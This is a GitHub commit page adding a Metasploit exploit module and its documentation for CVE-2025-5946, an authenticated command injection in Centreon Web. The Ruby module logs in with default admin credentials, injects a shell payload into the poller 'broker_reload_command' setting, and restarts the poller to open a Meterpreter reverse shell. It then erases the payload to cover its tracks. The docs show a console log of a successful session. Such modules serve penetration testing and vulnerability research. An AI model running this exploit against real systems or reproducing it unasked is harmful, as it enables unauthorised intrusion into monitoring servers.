Skip to content

Commit 110cb83

Browse files
authored
Merge pull request #20672 from h00die-gr3y/centreon_auth_rce
Centreon authenticated command injection leading to RCE via broker engine "reload" parameter [CVE-2025-5946]
2 parents b70d9c0 + 34c424f commit 110cb83

File tree

2 files changed

+382
-0
lines changed

2 files changed

+382
-0
lines changed
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
## Vulnerable Application
2+
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
3+
This module exploits an command injection vulnerability using the `broker engine reload` setting
4+
on the poller configuration page of the Centreon web application. Injecting a malcious payload
5+
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
6+
You need have admin access at the Centreon Web application in order to execute this RCE.
7+
8+
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
9+
`24.10.13`, `24.04.18` and `23.10.28`.
10+
11+
The following releases were tested.
12+
13+
**Centreon Releases:**
14+
* Centreon 24.10.8 on Debian 12 - VM Image
15+
16+
## Installation steps to install Centreon
17+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
18+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
19+
* [Install Centreon VM](https://docs.centreon.com/docs/installation/installation-of-a-central-server/using-virtual-machines/).
20+
* After successful installation of Centreon you can access the application using the `webui` via `http(s)://your_ip/centreon`.
21+
22+
You are now ready to test the module.
23+
24+
## Verification Steps
25+
- [ ] Start `msfconsole`
26+
- [ ] `use exploit/linux/http/centreon_auth_rce_cve_2025_5946`
27+
- [ ] `set rhosts <ip-target>`
28+
- [ ] `set rport <port>`
29+
- [ ] `set lhost <attacker-ip>`
30+
- [ ] `set target <0=Unix/Linux Command>`
31+
- [ ] `exploit`
32+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
33+
34+
## Options
35+
36+
### USERNAME
37+
The username (default: admin) to authenticate with the Centreon application.
38+
39+
### PASSWORD
40+
This is the password (default: Centreon!123) in plain text to authenticate with the Centreon application.
41+
Depending on the version installed, the default password can also be "centreon" or "Centreon123!" without the quotes ;-)
42+
43+
## Scenarios
44+
### Centreon VM v24.10.8 - Unix/Linux Command target
45+
Attack scenario: use the default admin credentials (admin:Centreon!123) of the Centreon application
46+
to gain the privileges for the RCE.
47+
```msf
48+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rhosts 192.168.201.6
49+
rhosts => 192.168.201.6
50+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set ssl false
51+
[!] Changing the SSL option's value may require changing RPORT!
52+
ssl => false
53+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rport 80
54+
rport => 80
55+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set lhost 192.168.201.10
56+
lhost => 192.168.201.10
57+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set password centreon
58+
password => centreon
59+
msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > rexploit
60+
[*] Reloading module...
61+
[*] Started reverse TCP handler on 192.168.201.10:4444
62+
[*] Running automatic check ("set AutoCheck false" to disable)
63+
[+] The target appears to be vulnerable. Centreon version 24.10.8
64+
[*] Trying to log in with admin credentials admin:centreon at the Centreon Web application.
65+
[*] Succesfully authenticated at the Centreon Web application.
66+
[*] Saving admin credentials at the msf database.
67+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
68+
[*] Sending stage (3090404 bytes) to 192.168.201.6
69+
[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.6:51772) at 2025-11-03 08:47:22 +0000
70+
[+] Payload has been successfully removed from the poller setting "broker_reload_command".
71+
72+
meterpreter > sysinfo
73+
Computer : 192.168.201.6
74+
OS : Debian 12.11 (Linux 6.1.0-37-amd64)
75+
Architecture : x64
76+
BuildTuple : x86_64-linux-musl
77+
Meterpreter : x64/linux
78+
meterpreter > getuid
79+
Server username: www-data
80+
meterpreter > pwd
81+
/usr/share/centreon/www
82+
meterpreter >
83+
```
84+
## Limitations
85+
None.
Lines changed: 297 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,297 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
17+
'Description' => %q{
18+
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
19+
This module exploits an command injection vulnerability using the `broker engine reload` setting
20+
on the poller configuration page of the Centreon web application. Injecting a malcious payload
21+
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
22+
You need have admin access at the Centreon Web application in order to execute this RCE.
23+
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
24+
`24.10.13`, `24.04.18` and `23.10.28`.
25+
},
26+
'Author' => [
27+
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
28+
],
29+
'References' => [
30+
['CVE', '2025-5946'],
31+
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
32+
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => ['unix', 'linux'],
36+
'Privileged' => false,
37+
'Arch' => [ARCH_CMD],
38+
'Targets' => [
39+
[
40+
'Unix/Linux Command',
41+
{
42+
'Platform' => ['unix', 'linux'],
43+
'Arch' => ARCH_CMD,
44+
'Type' => :unix_cmd,
45+
'DefaultOptions' => {
46+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
47+
},
48+
'Payload' => {
49+
'Encoder' => 'cmd/base64',
50+
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
51+
}
52+
}
53+
]
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => '2025-09-24',
57+
'DefaultOptions' => {
58+
'SSL' => true,
59+
'RPORT' => 443
60+
},
61+
'Notes' => {
62+
'Stability' => [CRASH_SAFE],
63+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
64+
'Reliability' => [REPEATABLE_SESSION]
65+
}
66+
)
67+
)
68+
register_options([
69+
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
70+
OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
71+
OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
72+
])
73+
end
74+
75+
# login at the Centreon web application
76+
# return true if login successful else false
77+
def centreon_login(name, pwd)
78+
# login with admin credentials
79+
# first try login logic in newer versions
80+
post_data = {
81+
login: name.to_s,
82+
password: pwd.to_s
83+
}.to_json
84+
res = send_request_cgi({
85+
'method' => 'POST',
86+
'ctype' => 'application/json',
87+
'keep_cookies' => true,
88+
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
89+
'data' => post_data.to_s
90+
})
91+
return true if res&.code == 200 && res.body.include?('redirect_uri')
92+
93+
# try again using login logic for older versions
94+
# get centreon_token
95+
res = send_request_cgi!({
96+
'method' => 'GET',
97+
'uri' => normalize_uri(target_uri.path),
98+
'keep_cookies' => true
99+
})
100+
101+
# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
102+
if res&.code == 200 && res.body.include?('centreon_token')
103+
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
104+
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
105+
else
106+
vprint_status('No centreon_token found!')
107+
return false
108+
end
109+
110+
# login with admin credentials and centreon_token
111+
if centreon_token
112+
vprint_status("centreon_token=#{centreon_token}")
113+
res = send_request_cgi({
114+
'method' => 'POST',
115+
'uri' => normalize_uri(target_uri.path, 'index.php'),
116+
'keep_cookies' => true,
117+
'vars_post' => {
118+
'useralias' => name.to_s,
119+
'password' => pwd.to_s,
120+
'submitLogin' => 'Connect',
121+
'centreon_token' => centreon_token.to_s
122+
}
123+
})
124+
return true if res&.code == 302
125+
else
126+
vprint_warning('Unable to process the centreon_token.')
127+
end
128+
false
129+
end
130+
131+
# CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
132+
def execute_payload(cmd, _opts = {})
133+
@clean_payload = true
134+
payload = ";#{cmd}"
135+
vprint_status("payload=#{payload}")
136+
# attach payload at the centreon broker engine "reload parameter
137+
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)
138+
139+
# trigger execution by restarting the poller
140+
send_request_cgi({
141+
'method' => 'POST',
142+
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
143+
'keep_cookies' => true,
144+
'vars_post' => {
145+
'poller' => 1,
146+
'mode' => 1
147+
}
148+
})
149+
end
150+
151+
# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
152+
def drop_rce_payload(payload)
153+
# get the poller configuration and centreon_token
154+
res = send_request_cgi({
155+
'method' => 'GET',
156+
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
157+
'keep_cookies' => true,
158+
'vars_get' => {
159+
'p' => 60901,
160+
'o' => 'c',
161+
'server_id' => 1
162+
}
163+
})
164+
165+
# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
166+
if res&.code == 200 && res.body.include?('centreon_token')
167+
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
168+
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
169+
else
170+
vprint_status('No centreon_token found!')
171+
return false
172+
end
173+
174+
# update poller "centreon broker engine reload" setting with payload
175+
if centreon_token
176+
vprint_status("centreon_token=#{centreon_token}")
177+
res = send_request_cgi({
178+
'method' => 'POST',
179+
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
180+
'keep_cookies' => true,
181+
'vars_get' => {
182+
'p' => 60901
183+
},
184+
'vars_post' => {
185+
'name' => 'Central',
186+
'ns_ip_address' => '127.0.0.1',
187+
'localhost[localhost]' => 1,
188+
'is_default[is_default]' => 1,
189+
'gorgone_communication_type[gorgone_communication_type]' => 1,
190+
'gorgone_port' => 5556,
191+
'engine_start_command' => 'service centengine start',
192+
'engine_stop_command' => 'service centengine stop',
193+
'engine_restart_command' => 'service centengine restart',
194+
'engine_reload_command' => 'service centengine reload',
195+
'nagios_bin' => '/usr/sbin/centengine',
196+
'nagiostats_bin' => '/usr/sbin/centenginestats',
197+
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
198+
'broker_reload_command' => "service cbd reload#{payload}",
199+
'centreonbroker_cfg_path' => '/etc/centreon-broker',
200+
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
201+
'centreonbroker_logs_path' => nil,
202+
'centreonconnector_path' => '/usr/lib64/centreon-connector',
203+
'init_script_centreontrapd' => 'centreontrapd',
204+
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
205+
'ns_activate[ns_activate]' => 1,
206+
'submitC' => 'Save',
207+
'id' => 1,
208+
'o' => 'c',
209+
'centreon_token' => centreon_token.to_s
210+
}
211+
})
212+
if res&.code == 200 && res.body.include?('ajaxOption table')
213+
vprint_good('Poller setting "broker_reload_command" updated with payload.')
214+
return true
215+
end
216+
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
217+
else
218+
vprint_warning('Unable to process the centreon_token.')
219+
end
220+
return false
221+
end
222+
223+
# try to remove the payload from the poller settings to cover our tracks
224+
def cleanup
225+
super
226+
# check if payload should be cleaned
227+
if @clean_payload
228+
vprint_status('Cleaning up the mess...')
229+
if drop_rce_payload(nil)
230+
print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
231+
else
232+
print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
233+
end
234+
end
235+
end
236+
237+
# get the Centreon version
238+
# return version if successful else nil
239+
def get_centreon_version
240+
# get version information use Web API v2.0
241+
res = send_request_cgi({
242+
'method' => 'GET',
243+
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
244+
'keep_cookies' => true
245+
})
246+
# for older versions try to scrape the version from the login web page
247+
unless res&.code == 200 && res.body.include?('web')
248+
res = send_request_cgi!({
249+
'method' => 'GET',
250+
'uri' => normalize_uri(target_uri.path),
251+
'keep_cookies' => true
252+
})
253+
return nil unless res&.code == 200
254+
255+
build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
256+
return nil if build.nil?
257+
258+
return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
259+
end
260+
res_json = res.get_json_document
261+
res_json['web']['version'] unless res_json.blank?
262+
end
263+
264+
def check
265+
version = get_centreon_version
266+
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?
267+
268+
case version.scan(/^\d+\.\d+/)[0]
269+
when '24.10'
270+
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
271+
when '24.04'
272+
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
273+
when '23.10'
274+
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
275+
else
276+
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
277+
end
278+
279+
CheckCode::Safe("Centreon version #{version}")
280+
end
281+
282+
def exploit
283+
# check if we can login at the Centreon Web application with the default admin credentials
284+
username = datastore['USERNAME']
285+
password = datastore['PASSWORD']
286+
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
287+
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
288+
print_status('Succesfully authenticated at the Centreon Web application.')
289+
290+
# storing credentials at the msf database
291+
print_status('Saving admin credentials at the msf database.')
292+
store_valid_credential(user: username, private: password)
293+
294+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
295+
execute_payload(payload.encoded)
296+
end
297+
end

0 commit comments

Comments
 (0)